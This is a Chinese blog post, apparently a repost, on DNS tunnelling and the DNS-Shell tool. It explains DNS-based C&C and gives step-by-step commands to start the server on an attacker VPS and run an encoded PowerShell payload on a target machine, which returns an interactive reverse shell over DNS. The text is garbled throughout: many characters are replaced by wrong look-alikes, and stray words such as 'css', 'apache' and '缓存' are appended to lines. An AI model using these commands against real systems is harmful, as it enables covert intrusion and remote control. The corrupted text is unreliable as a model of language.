
目录css
DNS隧道python
利用DNS进行命令控制(DNS-Shell)git
DNS-Shell的使用github

►DNS隧道shell
DNS协议是一种请求、应答协议,也是一种可用于应用层的隧道技术。DNS隧道的工做原理很简单,在进行DNS查询时,若是查询的域名不在DNS服务器本机缓存中,就会访问互联网进行查询,而后返回结果。若是在互联网上有一台定制的服务器,那么依靠DNS协议便可进行数据包的交互。从DNS协议的角度来看,这样的操做只是在一次次地查询某个特定的域名并获得解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实上返回的能够是任意的字符串,包括加密的C&C指令。apache
在使用DNS隧道与外部进行通讯时,从表面上看是没有链接外网的(内网网关没有转发IP数据包)。但实际上,内网的DNS服务器进行了中转操做。这就是DNS隧道的工做原理,简单地说,就是将其余协议封装在DNS协议中进行传输。缓存

▶利用DNS进行命令控制(DNS-Shell)安全
DNS-Shell是一款经过DNS信道实现交互式Shell的强大工具,该工具的服务器端基于Python开发,能够任何一种安装了Python环境的操做系统平台上运行,工具所使用的Payload均已PowerShell命令进行编码,保证了在不一样平台间运行的稳定性和兼容性。服务器
DNS-Shell运行机制微信
该工具所使用的Payload会在服务器端脚本被调用时自动生成,Payload会使用nslookup来向服务器端查询和请求新的操做命令,接下来服务器端会监听端口53并等待传入的链接。当Payload在目标设备上成功执行后,服务器端将会生成一个交互式Shell并提供给用户进行操做。
通讯信道创建成功后,Payload会继续向服务器查询和请求新的操做指令,当攻击者在服务器端输入新的操做命令后,Payload将会收到命令并执行该命令,而后在命令执行成功后将执行结果返回给服务器端。

▶DNS-Shell的使用
DNS-Shell的运行相对来讲比较简单,DNS-Shell支持两种操做模式,即 直接操做模式 和 递归模式:
下载DNS-Shell:
git clone https://github.com/sensepost/DNS-Shell.git
DNS-Shell直接模式:
python2 DNS-Shell.py -l -d VPS的IP
该命令会生成一段payload
咱们将该payload复制,在目标机cmd窗口中执行
powershell.exe -e 生成的payload
能够看到,咱们已经成功接收到反弹回来的shell了
相关文章:
内网转发及隐蔽隧道 | 使用ICMP进行命令控制(Icmpsh)
内网转发及隐蔽隧道 | 网络层隧道技术之ICMP隧道(pingTunnel/IcmpTunnel)
参考文章:
利用DNS隧道构建隐蔽C&C信道
DNS-Shell:一款经过DNS信道来实现交互式Shell的强大工具
DNS Shell 一款控制服务器的工具
本文分享自微信公众号 - 贝塔安全实验室(BetaSecLab)。
若有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一块儿分享。